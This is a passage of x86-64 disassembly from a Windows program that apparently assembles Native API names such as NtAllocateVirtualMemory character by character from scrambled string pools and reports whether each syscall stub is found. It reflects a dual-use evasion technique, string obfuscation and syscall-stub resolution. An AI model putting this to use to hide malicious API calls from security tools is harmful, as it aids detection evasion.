lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xaa0]
lea rdx, [rbp + 0xac0]
lea r8, [0x3a4e6239b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xa80]
lea rdx, [rbp + 0xaa0]
lea r8, [0x3a4e6239d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xa60]
lea rdx, [rbp + 0xa80]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xa40]
lea rdx, [rbp + 0xa60]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xa20]
lea rdx, [rbp + 0xa40]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xa00]
lea rdx, [rbp + 0xa20]
lea r8, [0x3a4e6239f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x9e0]
lea rdx, [rbp + 0xa00]
lea r8, [0x3a4e623a1]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x9c0]
lea rdx, [rbp + 0x9e0]
lea r8, [0x3a4e623a3]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x9c0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x9c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x9e0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xa00]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xa20]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xa40]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xa60]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xa80]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xaa0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xac0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xae0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xb00]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xb40]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xba0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xbcf]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0xbd0]
mov rcx, qword [rbp + 0x3158]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da4895
lea rbx, [0x3a4e62377]
jmp 0x3a4da489c
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0xdbf]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0xdbf]
lea rax, [rbp + 0xd90]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0xd70]
lea rdx, [rbp + 0xd90]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xd50]
lea rdx, [rbp + 0xd70]
lea r8, [0x3a4e623a5]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xd30]
lea rdx, [rbp + 0xd50]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xd10]
lea rdx, [rbp + 0xd30]
lea r8, [0x3a4e623a7]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xcf0]
lea rdx, [rbp + 0xd10]
lea r8, [0x3a4e6236f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xcd0]
lea rdx, [rbp + 0xcf0]
lea r8, [0x3a4e62373]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xcb0]
lea rdx, [rbp + 0xcd0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xc90]
lea rdx, [rbp + 0xcb0]
lea r8, [0x3a4e6239b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xc70]
lea rdx, [rbp + 0xc90]
lea r8, [0x3a4e6239d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xc50]
lea rdx, [rbp + 0xc70]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xc30]
lea rdx, [rbp + 0xc50]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xc10]
lea rdx, [rbp + 0xc30]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xbf0]
lea rdx, [rbp + 0xc10]
lea r8, [0x3a4e6239f]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0xbf0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xc10]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xc30]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xc50]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xc70]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xc90]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xcb0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xcd0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xcf0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xd30]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xd90]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xdbf]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0xdc0]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0xdc0]
mov rcx, qword [rbp + 0x3150]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0xdc0]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da4bd8
lea rbx, [0x3a4e62377]
jmp 0x3a4da4bdf
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x108f]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x108f]
lea rax, [rbp + 0x1060]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1020]
lea rdx, [rbp + 0x1040]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1000]
lea rdx, [rbp + 0x1020]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xfe0]
lea rdx, [rbp + 0x1000]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xfc0]
lea rdx, [rbp + 0xfe0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xfa0]
lea rdx, [rbp + 0xfc0]
lea r8, [0x3a4e623a9]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xf80]
lea rdx, [rbp + 0xfa0]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xf60]
lea rdx, [rbp + 0xf80]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xf40]
lea rdx, [rbp + 0xf60]
lea r8, [0x3a4e623ab]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xf20]
lea rdx, [rbp + 0xf40]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xf00]
lea rdx, [rbp + 0xf20]
lea r8, [0x3a4e623ad]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xee0]
lea rdx, [rbp + 0xf00]
lea r8, [0x3a4e623af]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xec0]
lea rdx, [rbp + 0xee0]
lea r8, [0x3a4e6235f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xea0]
lea rdx, [rbp + 0xec0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xe80]
lea rdx, [rbp + 0xea0]
lea r8, [0x3a4e623b1]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xe60]
lea rdx, [rbp + 0xe80]
lea r8, [0x3a4e623b3]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xe40]
lea rdx, [rbp + 0xe60]
lea r8, [0x3a4e623b5]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xe20]
lea rdx, [rbp + 0xe40]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xe00]
lea rdx, [rbp + 0xe20]
lea r8, [0x3a4e62363]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0xde0]
lea rdx, [rbp + 0xe00]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0xde0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0xde0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xe00]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xe20]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xe40]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xe60]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xe80]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xea0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xec0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xee0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xf00]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xf20]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xf40]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xf60]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xf80]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xfa0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xfc0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x108f]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1090]
mov rcx, qword [rbp + 0x3148]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da504f
lea rbx, [0x3a4e62377]
jmp 0x3a4da5056
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x13df]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x13df]
lea rax, [rbp + 0x13b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x3a4e623b7]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1350]
lea rdx, [rbp + 0x1370]
lea r8, [0x3a4e6236f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1330]
lea rdx, [rbp + 0x1350]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1310]
lea rdx, [rbp + 0x1330]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x12f0]
lea rdx, [rbp + 0x1310]
lea r8, [0x3a4e62375]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x12d0]
lea rdx, [rbp + 0x12f0]
lea r8, [0x3a4e623b9]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x12b0]
lea rdx, [rbp + 0x12d0]
lea r8, [0x3a4e623ad]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1290]
lea rdx, [rbp + 0x12b0]
lea r8, [0x3a4e623bb]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1270]
lea rdx, [rbp + 0x1290]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1250]
lea rdx, [rbp + 0x1270]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1230]
lea rdx, [rbp + 0x1250]
lea r8, [0x3a4e62373]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1210]
lea rdx, [rbp + 0x1230]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x11f0]
lea rdx, [rbp + 0x1210]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x11d0]
lea rdx, [rbp + 0x11f0]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x11b0]
lea rdx, [rbp + 0x11d0]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1190]
lea rdx, [rbp + 0x11b0]
lea r8, [0x3a4e623ad]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1170]
lea rdx, [rbp + 0x1190]
lea r8, [0x3a4e62397]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1150]
lea rdx, [rbp + 0x1170]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1130]
lea rdx, [rbp + 0x1150]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1110]
lea rdx, [rbp + 0x1130]
lea r8, [0x3a4e62363]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x10f0]
lea rdx, [rbp + 0x1110]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x10d0]
lea rdx, [rbp + 0x10f0]
lea r8, [0x3a4e623a7]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x10b0]
lea rdx, [rbp + 0x10d0]
lea r8, [0x3a4e623a7]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x10b0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x10b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x10d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x10f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1110]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1130]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1150]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1170]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1190]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x11b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x11d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x11f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1210]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1230]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1250]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1270]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1290]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x12b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x12d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x12f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1310]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x13df]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x13e0]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x13e0]
mov rcx, qword [rbp + 0x3140]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x13e0]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da5576
lea rbx, [0x3a4e62377]
jmp 0x3a4da557d
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x166f]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x166f]
lea rax, [rbp + 0x1640]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x1620]
lea rdx, [rbp + 0x1640]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1600]
lea rdx, [rbp + 0x1620]
lea r8, [0x3a4e623a5]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x15e0]
lea rdx, [rbp + 0x1600]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x15c0]
lea rdx, [rbp + 0x15e0]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x15a0]
lea rdx, [rbp + 0x15c0]
lea r8, [0x3a4e6239f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1580]
lea rdx, [rbp + 0x15a0]
lea r8, [0x3a4e62369]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1560]
lea rdx, [rbp + 0x1580]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1540]
lea rdx, [rbp + 0x1560]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1520]
lea rdx, [rbp + 0x1540]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1500]
lea rdx, [rbp + 0x1520]
lea r8, [0x3a4e6236f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x14e0]
lea rdx, [rbp + 0x1500]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x14c0]
lea rdx, [rbp + 0x14e0]
lea r8, [0x3a4e6235f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x14a0]
lea rdx, [rbp + 0x14c0]
lea r8, [0x3a4e62371]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1480]
lea rdx, [rbp + 0x14a0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1460]
lea rdx, [rbp + 0x1480]
lea r8, [0x3a4e62373]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1440]
lea rdx, [rbp + 0x1460]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1420]
lea rdx, [rbp + 0x1440]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1400]
lea rdx, [rbp + 0x1420]
lea r8, [0x3a4e62375]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x1400]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x1400]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1420]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1440]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1460]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1480]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x14a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x14c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x14e0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1500]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1520]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1540]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1560]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1580]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x15a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x15c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x15e0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x166f]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1670]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1670]
mov rcx, qword [rbp + 0x3138]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1670]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da5995
lea rbx, [0x3a4e62377]
jmp 0x3a4da599c
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x177f]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x177f]
lea rax, [rbp + 0x1750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1710]
lea rdx, [rbp + 0x1730]
lea r8, [0x3a4e62399]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x16f0]
lea rdx, [rbp + 0x1710]
lea r8, [0x3a4e6235f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x16d0]
lea rdx, [rbp + 0x16f0]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x16b0]
lea rdx, [rbp + 0x16d0]
lea r8, [0x3a4e623a7]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1690]
lea rdx, [rbp + 0x16b0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x1690]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x1690]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x16b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1750]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x177f]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1780]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1780]
mov rcx, qword [rbp + 0x3130]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1780]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da5ba4
lea rbx, [0x3a4e62377]
jmp 0x3a4da5bab
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x194f]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x194f]
lea rax, [rbp + 0x1920]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x1900]
lea rdx, [rbp + 0x1920]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x18e0]
lea rdx, [rbp + 0x1900]
lea r8, [0x3a4e623b1]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x18c0]
lea rdx, [rbp + 0x18e0]
